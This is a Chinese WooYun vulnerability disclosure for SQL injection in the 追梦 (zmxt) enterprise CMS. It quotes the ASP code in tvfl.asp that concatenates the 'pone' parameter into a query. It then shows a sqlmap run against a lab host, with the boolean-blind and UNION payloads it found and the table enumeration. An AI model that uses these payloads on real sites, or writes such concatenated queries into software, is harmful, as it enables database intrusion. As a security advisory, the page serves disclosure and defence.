当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-078459

漏洞标题:通用型企业建站程序之追梦CMS注入8

相关厂商:zmxt企业建站系统

漏洞作者: ra0mb1er

提交时间:2014-10-13 15:45

修复时间:2015-01-11 15:46

公开时间:2015-01-11 15:46

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-10-13: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-01-11: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

啪啪啪啪啪

详细说明:

漏洞文件tvfl.asp 1-10

<% 
pone=request.QueryString("pone")
ptwo=request.QueryString("ptwo")
pthree=request.QueryString("pthree")
if pone="" then
zmcmsTitle="所有视频"
end if
if pone<>"" then
set lm=server.createobject("adodb.recordset")
exec="select * from [spclass] where id="&pone&""


tv.asp 文件对其进行了引用

漏洞证明:

tvfl.jpg


J:\sqlmap>python sqlmap.py -u "http://192.168.56.130:8081/tv.asp?pone=3&id=9" --
tables --dbms=access
_
___ ___| |_____ ___ ___ {1.0-dev-nongit-20140918}
|_ -| . | | | .'| . |
|___|_ |_|_|_|_|__,| _|
|_| |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual
consent is illegal. It is the end user's responsibility to obey all applicable
local, state and federal laws. Developers assume no liability and are not respon
sible for any misuse or damage caused by this program
[*] starting at 14:31:33
[14:31:33] [INFO] testing connection to the target URL
[14:31:34] [INFO] testing if the target URL is stable. This can take a couple of
seconds
[14:31:35] [INFO] target URL is stable
[14:31:35] [INFO] testing if GET parameter 'pone' is dynamic
[14:31:35] [INFO] confirming that GET parameter 'pone' is dynamic
[14:31:35] [INFO] GET parameter 'pone' is dynamic
[14:31:35] [WARNING] reflective value(s) found and filtering out
[14:31:35] [INFO] heuristic (basic) test shows that GET parameter 'pone' might b
e injectable
[14:31:35] [INFO] testing for SQL injection on GET parameter 'pone'
do you want to include all tests for 'Microsoft Access' extending provided level
(1) and risk (1)? [Y/n]
[14:31:38] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[14:31:38] [INFO] GET parameter 'pone' seems to be 'AND boolean-based blind - WH
ERE or HAVING clause' injectable
[14:31:38] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[14:31:38] [INFO] automatically extending ranges for UNION query injection techn
ique tests as there is at least one other (potential) technique found
[14:31:38] [INFO] ORDER BY technique seems to be usable. This should reduce the
time needed to find the right number of query columns. Automatically extending t
he range for current UNION query injection technique test
[14:31:39] [INFO] target URL appears to have 22 columns in query
[14:31:39] [INFO] GET parameter 'pone' is 'Generic UNION query (NULL) - 1 to 20
columns' injectable
GET parameter 'pone' is vulnerable. Do you want to keep testing the others (if a
ny)? [y/N]
sqlmap identified the following injection points with a total of 17 HTTP(s) requ
ests:
---
Place: GET
Parameter: pone
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: pone=3 AND 2834=2834&id=9
Type: UNION query
Title: Generic UNION query (NULL) - 22 columns
Payload: pone=3 UNION ALL SELECT NULL,NULL,NULL,CHR(113)&CHR(117)&CHR(120)&C
HR(99)&CHR(113)&CHR(102)&CHR(84)&CHR(115)&CHR(113)&CHR(103)&CHR(97)&CHR(82)&CHR(
118)&CHR(70)&CHR(121)&CHR(113)&CHR(114)&CHR(108)&CHR(101)&CHR(113),NULL,NULL,NUL
L,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL FRO
M MSysAccessObjects%16&id=9
---
[14:31:41] [INFO] the back-end DBMS is Microsoft Access
web server operating system: Windows 2003 or XP
web application technology: Microsoft IIS 6.0, ASP
back-end DBMS: Microsoft Access
[14:31:41] [INFO] fetching tables for database: 'Microsoft_Access_masterdb'
[14:31:41] [INFO] the SQL query used returns 58 entries
Database: Microsoft_Access_masterdb
[1 table]
+-------------+
| MSysObjects |
+-------------+
[14:31:46] [INFO] fetched data logged to text files under 'C:\Users\c\.sqlmap\ou
tput\192.168.56.130'
[*] shutting down at 14:31:46
J:\sqlmap>

修复方案:

版权声明:转载请注明来源 ra0mb1er@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝